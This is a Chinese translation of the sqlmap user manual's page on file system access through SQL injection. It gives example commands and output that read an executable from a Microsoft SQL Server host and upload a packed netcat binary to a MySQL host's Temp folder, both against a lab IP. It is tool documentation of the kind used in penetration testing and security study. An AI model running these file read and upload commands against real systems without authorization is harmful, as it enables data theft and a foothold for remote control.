sqlmap 用户手册
sqlmap 官方 WikiGitHub 仓库
  • 文档介绍
  • 用户手册
  • 介绍
  • 技术
  • 特性
  • 下载更新
  • 相关依赖
  • 历史
  • 用法
    • 输出详细等级
    • 目标
    • 请求
    • 优化
    • 注入
    • 检测
    • 技术
    • 指纹识别
    • 枚举
    • 暴力破解
    • 用户自定义函数注入
    • 访问文件系统
    • 接管操作系统
    • 访问 Windows 注册表
    • 常规选项
    • 杂项
    • API(REST-JSON)
  • 许可证
  • 杂项
  • FAQ
  • 展示
  • 截图
  • 第三方库
由 GitBook 提供支持

Translated by kvko.live © Since 2016

在本页
  • 读取数据库服务器文件系统文件
  • 向数据库服务器的文件系统上传文件

这有帮助吗?

在GitHub上编辑
导出为 PDF
  1. 用法

访问文件系统

上一页用户自定义函数注入下一页接管操作系统

最后更新于1年前

这有帮助吗?

译自:

读取数据库服务器文件系统文件

选项:--file-read

当后端 DBMS(Database Management System,数据库管理系统)为 MySQL,PostgreSQL 或者 Microsoft SQL Server,并且当前会话用户拥有利用数据库特定功能和相关架构弱点的权限时,sqlmap 能够直接读取底层文件系统中文件的内容。文件可以是文本文件或者二进制文件,sqlmap 都能够正确地处理相关文件。

这些技术的相关详情可见白皮书。

下面是以 Microsoft SQL Server 2005 为目标,获取二进制文件的例子:

$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?nam\
e=luther" --file-read "C:/example.exe" -v 1

[...]
[hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2000
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005

[hh:mm:50] [INFO] fetching file: 'C:/example.exe'
[hh:mm:50] [INFO] the SQL query provided returns 3 entries
C:/example.exe file saved to:    '/software/sqlmap/output/192.168.136.129/files/
C__example.exe'
[...]

$ ls -l output/192.168.136.129/files/C__example.exe
-rw-r--r-- 1 inquis inquis 2560 2011-MM-DD hh:mm output/192.168.136.129/files/C_
_example.exe

$ file output/192.168.136.129/files/C__example.exe
output/192.168.136.129/files/C__example.exe: PE32 executable for MS Windows (GUI
) Intel 80386 32-bit

向数据库服务器的文件系统上传文件

选项:--file-write 和 --file-dest

当后端 DBMS 为 MySQL,PostgreSQL 或者 Microsoft SQL Server,并且当前会话用户拥有利用数据库特定功能和相关架构弱点的权限时,sqlmap 能够向数据库服务器文件系统上传一个本地文件。文件可以是文本文件或者二进制文件,sqlmap 都能够正确地处理相关文件。

下面是以 MySQL 为目标,向服务器提交一个经过 UPX 压缩的二进制文件的例子:

$ file /software/nc.exe.packed
/software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32
-bit

$ ls -l /software/nc.exe.packed
-rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/nc.exe.packed

$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" -\
-file-write "/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1

[...]
[hh:mm:29] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or 2008
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: MySQL >= 5.0.0

[...]
do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been success
fully written on the back-end DBMS file system? [Y/n] y
[hh:mm:52] [INFO] retrieved: 31744
[hh:mm:52] [INFO] the file has been successfully written and its size is 31744 b
ytes, same size as the local file '/software/nc.exe.packed'

这些技术的相关详情可见白皮书。

File system access
通过高级 SQL 注入完全控制操作系统
通过高级 SQL 注入完全控制操作系统